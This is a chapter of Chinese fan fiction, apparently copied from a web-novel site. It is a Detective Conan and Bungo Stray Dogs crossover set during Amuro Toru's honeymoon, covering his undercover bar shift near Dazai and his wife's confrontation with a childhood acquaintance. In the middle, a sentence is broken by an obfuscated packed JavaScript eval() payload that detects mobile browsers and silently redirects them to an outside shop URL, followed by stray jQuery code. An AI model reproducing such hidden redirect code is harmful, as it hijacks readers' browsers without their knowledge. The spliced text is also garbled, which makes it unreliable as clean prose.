默认冷灰
24号文字
方正启体

10. 蜜月(5)

作者:潮间叙事本书字数:K更新时间:
    Lupin酒吧的光线总是昏沉沉的,空气里混合着陈年威士忌的醇香和独属于夜晚的气息。


    安室透,此刻正穿着酒吧侍者制服,戴着副黑框眼镜,用一块洁白的软布擦拭着一只玻璃杯。他的动作娴熟,仿佛已经在这里工作了多年。白衬衫的袖口规整地挽起,露出结实的小臂,以及那对淡紫色珍珠袖扣。


    他的大部分注意力,其实都落在酒吧角落那个固定的座位上。


    太宰治。


    这位港口黑手党里年轻的干部,此刻正懒洋洋地陷在沙发里,缠满绷带的手随意搭在扶手上,另一只手晃动着杯中加了冰球的威士忌。


    他似乎对酒的兴趣不大,更多时候是望着虚空出神,或者和身边的两位朋友低声交谈几句。


    这是安室透在蜜月接近尾声时接到的任务,组织想让他调查位于横滨的港口mafia。


    不过安室透不会像他调查毛利小五郎的沉睡事件一样尽心,反而,他对□□毫无兴趣——这个组织不是他所在的政府部门负责处理的。


    但这不妨碍酒厂的兴趣。


    他今天来也只是为了应付组织走个过场。


    安室透正想着今晚差不多可以收工,回去或许还能赶上查看一下公安方面的新情报,或者……


    在想到“回去”这个词时,他摸了摸袖口上的珍珠。


    “呐,这位服务生先生——”


    安室透的思绪被打断,但擦拭杯子的动作没有停顿。他微微低头,推了推黑框眼镜,才循声抬起头。


    是太宰治。


    他不知道何时已经侧过了身,一只手支着下巴,那双鸢色的眼眸正隔着不算远的距离,饶有兴致地望过来。


    “请问有什么需要吗?”


    太宰治歪了歪头,视线在那副黑框眼镜上停顿了一下,然后慢慢滑向他正在擦拭的杯子,又似乎掠过了他的袖口。


    “没什么特别的需要哦,”太宰治的语气听起来有点懒洋洋的,“只是突然觉得好像以前从没见过你呢,是新来的吗?”


    这个问题本身很寻常,任何一个对常驻服务生有模糊印象的客人,都可能对生面孔提出这样的疑问。


    但问的人是太宰治。


    “是的,先生。我是这周才开始在这里工作的临时工,还在学习阶段。” 安室透微微躬身,回答得滴水不漏,“如果有什么服务不周的地方,还请多多包涵。”


    “临时工啊……”


    太宰治拖长了语调,目光却并没有移开,反而更添了几分探究的意味:“难怪感觉气质有点不一样呢。”


    安室透适时地露出了些许困惑的表情,仿佛不明白客人所谓的“气质”指什么,只是谦逊地笑了笑:“我会努力尽快适应这里的工作的。”


    太宰治看了他两秒,忽然笑了,他摆了摆手:“哎呀,不用紧张,我只是随口一问。请给我再来一杯同样的威士忌,加冰,谢谢。”


    “好的,请稍等。”


    工作持续到深夜,太宰治终于起身离开。


    安室透又停留了一阵,完成了最后的收尾工作,才换下制服,穿上自己的外套。


    -


    走出Lupin酒吧,横滨夏日夜晚微凉的风吹散了衣襟上沾染的酒气。


    安室透发动汽车,车内很安静,他单手扶着方向盘,另一只手习惯性地搭在窗沿,指尖摩挲着袖扣上的珍珠。


    他将太宰治突如其来的询问归类为不必要的关注,很快抛诸脑后,思绪转向即将提交给组织的报告。


    以及明天返回东京的行程。


    家。


    这个字眼带起的情绪复杂难辨。


    或许只是因为蜜月这段脱离日常的插曲即将结束,一切即将回归正轨。


    车子驶入地下停车场,他搭乘电梯上行。


    电梯门在一楼大堂打开,有其他客人步入,他却瞥到了一个熟悉的身影,不得不让他走下电梯。


    在大堂休息区靠窗的沙发。三浦杏坐在那里,背对着他这边的方向。


    她穿着一条简单的米色连衣裙,薄开衫搭在椅背上,坐姿显得有些僵硬。


    坐在三浦杏对面的,是一位打扮入时、妆容精致的年轻女性,正眉飞色舞地说着什么。


    而三浦杏,只是安静地听着,微微侧着头,视线落在面前的茶杯上,几乎没有给出什么回应。


    安室透微微眯起了眼睛。


    他在跟踪期间从未在三浦杏身边见过这个人,所收集的资料上也并未显示。


    以她那种疏离的性格,在酒店大堂与人叙旧一事看起来很不寻常。


    他走近沙发旁的装饰绿植,这个角度能更清楚地看到三浦杏的侧脸,也能隐约听到那边的对话。


    “……所以我就说嘛,杏你还是老样子,一点都没变!”


    那个女人的声音带着一种夸张:“总是这么安安静静的,在福利院的时候就是这样,有好东西也不声张,要不是我跟你熟,都发现不了呢!”


    三浦杏的指尖抵在洁白的瓷杯上,将杯子把手攥得很近。


    “你看,就像以前那个苹果糖,多可爱呀,你藏起来多可惜,分享了才甜嘛!”


    女人咯咯地笑起来,仿佛在讲什么有意思的童年趣事。


    “还有那次郊游的手工材料,你不也用不完吗?我拿去帮别的小朋友一起做,阿姨们还夸我乐于助人呢!”


    安室透沉了沉眼眸。


    苹果糖……


    他自然而然地想起来前几日三浦杏只敢看着却不敢去买的苹果糖。


    安室透站直身体,准备走去打断这场令三浦杏不适的会面,但一直沉默的三浦杏,忽然抬起了头。


    她没有看向对面的女人,目光反而越过了对方的肩膀,像是在看空气。


    “酒井花,”她打断了对方未尽的回忆,“你记性真好。”


    “不过,我记得的和你好像有点不一样。”


    叫做酒井花的女人笑容僵了一下,似乎没料到一直沉默的三浦杏会突然开口。


    “我记得的是,你总是能恰好需要别人不需要的东西。”


    “苹果糖是我排队领来的,手工材料是每人一份的定额。不是我用不完,是你总把自己的那份提前糟蹋掉,然后再来找多余的。”


    “福利院的阿姨们……” 她顿了顿,嘴角扯动了一下,“她们夸你,也许只是因为夸奖你比追究东西去哪了更省事。”


    酒井花的脸色变了,精心描绘的眉毛竖了起来:“你!你怎么这么说!”


    “我们以前不是经常一起玩吗?我那是看你一个人孤零零的……”


    “是啊。”


    “一起玩。”


    三浦杏终于将视线转向她。


    “玩着玩着,我的东西就变成你的了。”


    “恕我直言,酒井小姐。这种游戏,我并不怀念,也一点不想重温。”


    她端起茶杯,轻轻抿了一口。


    “如果没什么事的话,” 三浦杏站起身,拿起搭在一边的开衫,“我想我该回房间了。”


    “我的丈夫应该快回来了。”


    说完,她不再看酒井花一阵红一阵白的脸,快步朝着客房电梯的方向走去。


    安室透站在原地,看着她按下电梯键。


    酒井花似乎还想说什么,但最终只是愤愤地跺了跺脚,朝着相反的方向快步离开了。


    -


    安室透没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055244|194873||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有上前,只是站在那盆绿植旁,看着电梯楼层数字开始跳动,等着下一班电梯。


    电梯内只有他一人,镜面墙壁映出他没什么表情的脸,但他捻着袖扣珍珠的指尖,不自觉地用了力。


    苹果糖。


    安室透眼前浮现出那日街边小摊暖黄的灯光,和她驻足时安静的侧影。


    那时他以为那只是一个成年人偶然对童年滋味的怀念。现在他才明白,那份看似简单的渴望背后,或许埋藏着遗憾。


    三浦杏幼年时的奖励,却成了他人巧取豪夺的分享,甚至可能被扭曲成她孤僻的佐证。


    安室透几乎能想象出幼年的她,是如何小心地珍藏那颗苹果糖,又是如何轻飘飘地被一句冠以“分享”名义的话轻易夺走。


    他不敢去想这样的事情在三浦杏童年时期发生了多少次。


    电梯抵达楼层,门开的轻微声响将他拉回。


    走廊铺着厚实的地毯,他走到房间门口,动作停顿了片刻,才将房卡贴上感应区。


    “咔哒”一声轻响,门开了。


    客厅里只亮着一盏落地灯。


    三浦杏已经换上了睡裙,chi裸着脚抱膝坐在柔软的椅子上,脸埋在膝盖里,只露出一头柔软的黑发。


    听到开门声,她身体僵了一下,却没有抬头。


    -


    这个夜晚无疑是沉默的。


    安室透没有开更多的灯,也没有说话,走向了浴室。


    水声淅沥。


    等他带着一身温热的水汽出来时,软椅上的身影依旧维持着原状。


    他擦干头发,走到她身边不远处停下:“不早了,去床上睡吧。”


    却并没有回应。


    安室透等了几秒,又叫了一声:“杏?”


    可三浦杏依旧沉默。


    安室透无可奈何,俯身将手臂穿过她的腿弯和后背,稍一用力,便将人打横抱了起来。


    怀里的人似乎吃了一惊,身体瞬间紧绷,但依旧没有睁眼,只是将脸更紧地偏向他的胸膛,仿佛还在固执地维持睡着的假象。


    她睡裙下的小腿和手臂很凉,像一块细腻的玉。


    安室将她轻轻放在床的一侧,拉过被子盖好,自己则绕到另一边躺下。


    床头灯熄灭,黑暗温柔地笼罩下来。只有窗帘缝隙漏进霓虹灯光。


    两人之间隔着一段礼貌的距离。


    安室透平躺着,看向天花板。


    他知道三浦杏没有睡着。


    安室透突然想主动做出一些冒犯的举动。


    他伸手,将三浦杏捞到怀里,手臂松松地环着她。


    他能感觉到三浦杏的僵硬。


    不知过了多久,三浦杏突然出声。


    “波本?”


    安室透没有动,仿佛真的已经沉睡。


    沉默再次蔓延。


    又过了仿佛一个世纪那么久,三浦杏的声音比刚才更轻,甚至带上了一点如同恳求般的语调:


    “安室先生?”


    安室透依旧毫无反应,只有胸膛随着平稳的呼吸微微起伏。


    黑暗成了最好的掩护。


    他能感觉到她身体细微的转动,似乎在黑暗中努力想看清他的脸,确认他是否真的睡着了。


    最终,一个很轻的音节,仿佛耗尽了她所有试探的勇气,从她唇间逸出:


    “透?”


    安室透依然没有动。


    但这一声之后,那始终僵硬抵在他臂弯里的脊背,终于一点一点地松懈下来,细微的颤抖也逐渐平息。


    然后。


    他感觉到了三浦杏正在笨拙地回抱他。


    和安室透结婚,好像也没那么糟。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)